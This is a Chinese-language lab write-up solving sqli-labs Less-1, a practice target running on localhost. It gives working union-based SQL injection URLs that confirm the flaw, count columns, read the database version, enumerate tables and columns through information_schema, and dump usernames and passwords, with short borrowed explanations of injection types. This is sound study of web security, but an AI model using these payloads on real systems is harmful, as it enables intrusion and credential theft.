首先观察页面信息,看有没有提示。



很显然,这个页面让我们传入id这个参数(根据题目的分支,应该是get方法)

使用HackBar进行传入参数,首先传入id=1

http://localhost/sqli-labs-master/Less-1/?id=1



发现回显正常

第一步、基础判断

下面进行基础的判断,传入id=1' --+

回显正常,所以判断为字符型注入


ps:关于如何字符型注入和数字型注入的区别(来自copilot)

字符型注入和数字型注入是SQL注入漏洞中的两种常见类型。让我们来详细了解一下如何判断它们。

  1. 数字型注入

    • 当输入的参数 x 为整型时,通常 SQL 语句会是这样的:
      SELECT * FROM users WHERE id = x;
    • 这种类型可以使用经典的 AND 1=1AND 1=2 来判断。
    • 如果在 URL 地址中输入 www.example.com/ccc.php?id=x AND 1=1,页面会正常显示。
    • 如果输入 www.example.com/ccc.php?id=x AND 1=2,页面会报错,这说明存在数字型注入。
    • 原因是:当输入 AND 1=1 时,后台执行的 SQL 语句是 SELECT * FROM users WHERE id = x AND 1=1;,没有语法错误且返回正常。而输入 AND 1=2 时,后台执行的 SQL 语句是 SELECT * FROM users WHERE id = 1 AND 1=2;,没有语法错误但返回错误。
  2. 字符型注入

    • 当输入的参数 x 为字符型时,通常 SQL 语句会是这样的:
      SELECT * FROM users WHERE id = 'x';
    • 这种类型我们可以使用 AND '1'='1AND '1'='2 来进行测试。
    • 如果在 URL 地址中输入 www.example.com/ccc.php?id=1' AND '1'='1,页面会正常显示。
    • 如果输入 www.example.com/ccc.php?id=1' AND '1'='2,页面会报错,说明存在字符型注入。
    • 原因是:当输入 AND '1'='1 时,后台执行的 SQL 语句是 SELECT * FROM users WHERE id='x' AND '1'='1',语法正确、逻辑判断正确,返回正确。而输入 AND '1'='2 时,后台执行的 SQL 语句是 SELECT * FROM users WHERE id='x' AND '1'='2',语法正确、逻辑判断错误,返回错误。

总结:

  • 字符型注入需要用单引号来闭合字符串,而数字型不需要。
  • 判断注入类型并不是绝对准确的过程,因为攻击者可以使用各种技巧来绕过检测。
  • 最佳实践是使用参数化查询或预编译语句等安全编程技术来防止注入攻击,同时定期更新和修补软件以修复已知的安全漏洞¹³⁴.

源: 与必应的对话, 2024/2/28

(1) 如何判断是字符型注入还是数字型注入 - CSDN博客. https://blog.csdn.net/chenzzhenguo/article/details/108842399.

(2) 关于字符型注入判断的总结 - 知乎. https://zhuanlan.zhihu.com/p/23899464.

(3) sql注入类型的判断 - 知乎. https://zhuanlan.zhihu.com/p/99961411.

(4) 怎么判断sql注入是数字型还是字符型 - CSDN文库. https://bing.com/search?q=如何判断字符型注入.

(5) sql注入入门必看!一篇文章快速判断是字符型注入 .... https://blog.csdn.net/weixin_43919144/article/details/105552701.

(6) undefined. https://www.jianshu.com/p/5edd7a58a69e.

(7) undefined. http://xxx/abc.php?id=.


第二步、判断列数

在我们判断为字符型注入之后,下面进行列数判断

一般用order by

传入id=1' order by 1 --+

回显正常

下面依次尝试2,3,4...

发现order by 4 的时候回显报错

这样就可以判断列数有三列

第三步、爆显示位

这里我们使用联合查询

http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,2,3 --+

爆出回显位如图

第四步、获取数据库版本、数据库名称等信息

还是使用联合查询

http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,version(),database() --+

爆出回显如图

第五步、逐步深入获取数据库信息

现在数据库名称已经爆出来了,下面只需要逐步深入数据库内部,从库名到表名到列名,最后提取需要的信息


下面还是补充一点知识点:

information_schema 是 MySQL 自带的一个信息数据库,它保存着关于 MySQL 服务器所维护的所有其他数据库的信息,如数据库名、数据库的表、表栏的数据类型与访问权限等¹²³. 让我们来详细了解一下:

  1. SCHEMATA 表:提供了当前 MySQL 实例中所有数据库的信息,类似于 SHOW DATABASES 的结果¹.
  2. TABLES 表:提供了关于数据库中的表的信息,包括视图。它详细描述了某个表属于哪个 schema,表类型,表引擎,创建时间等信息,类似于 SHOW TABLES FROM schemaname 的结果¹.
  3. COLUMNS 表:提供了表中的列信息,详细描述了某张表的所有列以及每个列的信息,类似于 SHOW COLUMNS FROM schemaname.tablename 的结果¹.
  4. STATISTICS 表:提供了关于表索引的信息,类似于 SHOW INDEX FROM schemaname.tablename 的结果¹.
  5. USER_PRIVILEGES 表:给出了关于全程权限的信息,该信息源自 mysql.user 授权表,是非标准表¹.
  6. SCHEMA_PRIVILEGES 表:给出了关于方案(数据库)权限的信息,该信息来自 mysql.db 授权表,是非标准表¹.
  7. TABLE_PRIVILEGES 表:给出了关于表权限的信息,该信息源自 mysql.tables_priv 授权表,是非标准表¹.
  8. COLUMN_PRIVILEGES 表:给出了关于列权限的信息,该信息源自 mysql.columns_priv 授权表,是非标准表¹.
  9. CHARACTER_SETS 表:提供了 MySQL 实例可用字符集的信息,类似于 SHOW CHARACTER SET 的结果¹.
  10. COLLATIONS 表:提供了关于各字符集的对照信息¹.
  11. COLLATION_CHARACTER_SET_APPLICABILITY 表:指明了可用于校对的字符集,这些列等效于 SHOW COLLATION 的前两个显示字段¹.
  12. TABLE_CONSTRAINTS 表:描述了存在约束的表以及表的约束类型¹.
  13. KEY_COLUMN_USAGE 表:描述了具有约束的键列¹.
  14. ROUTINES 表:提供了关于存储子程序(存储程序和函数)的信息,此时,ROUTINES 表不包含自定义函数(UDF)¹.
  15. VIEWS 表:给出了关于数据库中的视图的信息,需要有 SHOW VIEWS 权限,否则无法查看视图信息¹.
  16. TRIGGERS 表:提供了关于触发程序的信息,必须有 SUPER 权限才能查看该表¹.

总之,information_schema 就像是 MySQL 实例的一个百科全书,记录了数据库中大部分需要了解的信息,包括字符集、权限、数据库实体对象信息、外键约束、分区、压缩表、表信息、索引信息、参数、优化、锁和事务等等。通过 information_schema,我们可以窥探整个 MySQL 实例的运行情况,了解 MySQL 实例的基本信息,甚至进行优化调优和维护数据库¹.

源: 与必应的对话, 2024/2/28

(1) MySQL information_schema 详解 - 知乎. https://zhuanlan.zhihu.com/p/88342863.

(2) mysql中information_schema表 - ruijing - 博客园. https://www.cnblogs.com/ruijing/p/9953283.html.

(3) mysql information_schema介绍 - HalfWater - 博客园. https://www.cnblogs.com/sdgf/p/6365968.html.

(4) MySQL进阶:INFORMATION_SCHEMA 简介 - 程序猿成长计划 .... https://segmentfault.com/a/1190000020855895.


回到题目

首先爆表,information_schema.tables表示该数据库下的tables表,点表示下一级。where后面是条件,group_concat()是将查询到结果连接起来。如果不用group_concat查询到的只有user。该语句的意思是查询information_schema数据库下的tables表里面且table_schema字段内容是security的所有table_name的内容。

http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,version(),group_concat(table_name) from information_schema.tables where table_schema='security'  --+

下一步爆列(我们选择爆出来的user表)

http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,version(),group_concat(column_name) from information_schema.columns where table_name='users'  --+

最后提取信息

http://localhost/sqli-labs-master/Less-1/?id=-1' union select 1,version(),group_concat(id,username,password) from users   --+

这样我们注入的目的就达到了

sqli_lab Less1练习笔记的更多相关文章

  1. sqli_labs学习笔记(一)Less-1~Less-20

    开门见山 Less-1 GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入) ·  方法一:手工UNION联合查询注入 输入单引号, ...

  2. 【sqli-labs】Less1~Less4

    学习sql注入啦,一下都是我做sqli-labs时的笔记.可能有错误,如果有人发现了欢迎指正~~ 常用知识点: 1.mysql注释有三种:① #: 注释从#到行尾 ② --空格: 注释到行尾,注意-- ...

  3. sqli-labs学习笔记 DAY1

    DAY 1 准备工作 安装phpstudy 安装配置sqli-labs 学习笔记 SQL语句的注释:–, # +在URL经过编码后会编码为空格 SQL语句的查询语句:SELECT column_nam ...

  4. sqli-labs靶机注入笔记1-10关

    嗯,开始记录sqli-lab的每关笔记,复习一次 1-2关 基于错误的字符串/数字型注入 闭合的符号有区别而已 http://www.sqli-lab.cn/Less-1/?id=1 or 1=1 - ...

  5. Web安全学习笔记 SQL注入下

    Web安全学习笔记 SQL注入下 繁枝插云欣 --ICML8 SQL注入小技巧 CheatSheet 预编译 参考文章 一点心得 一.SQL注入小技巧 1. 宽字节注入 一般程序员用gbk编码做开发的 ...

  6. git-简单流程(学习笔记)

    这是阅读廖雪峰的官方网站的笔记,用于自己以后回看 1.进入项目文件夹 初始化一个Git仓库,使用git init命令. 添加文件到Git仓库,分两步: 第一步,使用命令git add <file ...

  7. js学习笔记:webpack基础入门(一)

    之前听说过webpack,今天想正式的接触一下,先跟着webpack的官方用户指南走: 在这里有: 如何安装webpack 如何使用webpack 如何使用loader 如何使用webpack的开发者 ...

  8. SQL Server技术内幕笔记合集

    SQL Server技术内幕笔记合集 发这一篇文章主要是方便大家找到我的笔记入口,方便大家o(∩_∩)o Microsoft SQL Server 6.5 技术内幕 笔记http://www.cnbl ...

  9. PHP-自定义模板-学习笔记

    1.  开始 这几天,看了李炎恢老师的<PHP第二季度视频>中的“章节7:创建TPL自定义模板”,做一个学习笔记,通过绘制架构图.UML类图和思维导图,来对加深理解. 2.  整体架构图 ...

  10. PHP-会员登录与注册例子解析-学习笔记

    1.开始 最近开始学习李炎恢老师的<PHP第二季度视频>中的“章节5:使用OOP注册会员”,做一个学习笔记,通过绘制基本页面流程和UML类图,来对加深理解. 2.基本页面流程 3.通过UM ...

随机推荐

  1. Jmeter Jsonpath 语法你了解多少?

  2. RocketMQ(5) 订阅关系的一致性规范

    多个消费者组订阅了多个Topic,并且每个消费者组里的多个消费者实例的订阅关系应该保持一致. 例如下消费关系, 不同的消费组,消费不同的队列,相同的消费组订阅相同的队列,tag 错误示例: 一个消费者 ...

  3. Java 小案列 this关键字使用+构造器 +方法+调用

    1 package com.bytezero.thistest; 2 3 public class Boy 4 { 5 private String name; 6 private int age; ...

  4. 子序列&子串

    子序列:子序列就是在原来序列中找出一部分组成的序列 子序列不一定连续 子串:字符串中任意个连续的字符组成的子序列称为该串的子串 子串一定连续

  5. Twitter推特 api接口 获取trending趋势搜索关键词 python数据采集

    iDataRiver平台 https://www.idatariver.com/zh-cn/ 提供开箱即用的Twitter公开数据采集API,供用户按需调用. 接口使用详情请参考Twitter接口文档 ...

  6. LosslessCut 视频 切割合并 - 软件推荐 - 非常好用

    LosslessCut 视频切割合并 - 软件推荐 - 非常好用 下载地址 https://n802.com/f/14902046-490311155-557856 参考文章 http://www.r ...

  7. vscode 智能提示 函数提示右侧有所在目录 Show Inline Details

    vscode 智能提示 函数提示右侧有所在目录 Show Inline Details 有目录提示的 没有目录提示的 默认是有目录提示,我那个配置单啊~ "editor.suggest.sh ...

  8. 基于python的指定时段执行实例解析

    一 概念: python中库很多,这里熟悉下time和interval的用法 二 实例解析 切记这里的interval,输出的是目前的时间是一个数组. import time from interva ...

  9. 如何让AR物体更真实?

    在增强现实中,除了虚拟物体本身的模型材质等因素,影响物体真实性的主要是光照.反射.阴影.接下来3DCAT实时渲染云平台将带您从这三个方面探索如何让AR物体更真实! AR光估测 要让一个虚拟物体很好的融 ...

  10. Asp-Net-Core开发笔记:实现动态审计日志功能

    前言 最近一直在写 Go 和 Python ,好久没写 C# ,重新回来写 C# 代码时竟有一种亲切感~ 说回正题. 在当今这个数字化迅速发展的时代,每一个操作都可能对业务产生深远的影响,无论是对数据 ...